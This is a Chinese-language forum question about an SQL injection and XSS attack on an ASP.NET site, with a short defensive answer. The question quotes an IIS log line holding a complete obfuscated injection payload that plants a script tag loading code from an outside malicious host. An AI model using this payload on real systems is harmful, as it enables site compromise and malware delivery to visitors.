XSS Attack on the ASP.NET Website.
我发现我们的IIS日志中包含恶意代码的多个条目:
< / title> < script src = http : // google-stats49.info/ur.PHP >.
以下是一个IIS日志条目的cs-uri-query字段的值的示例.
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))–
我不明白上述代码如何工作,但显然这是在查询字符串中发送到我们的数据库表中的损坏列.我们暂时关闭了我们的网站.我们可以从数据库中删除脚本,但是当我们将站点重新联机时,不会阻止它再次被破坏.
有没有人有任何建议如何防止这种情况发生?
解决方法
>不要信任用户输入.您正在输入并直接发送到数据库
>不要相信你的用户输入!
>根据允许值的白名单检查所有输入.
>对于文本输入,确保一切都被转义
这个问题有吨:Google is your friend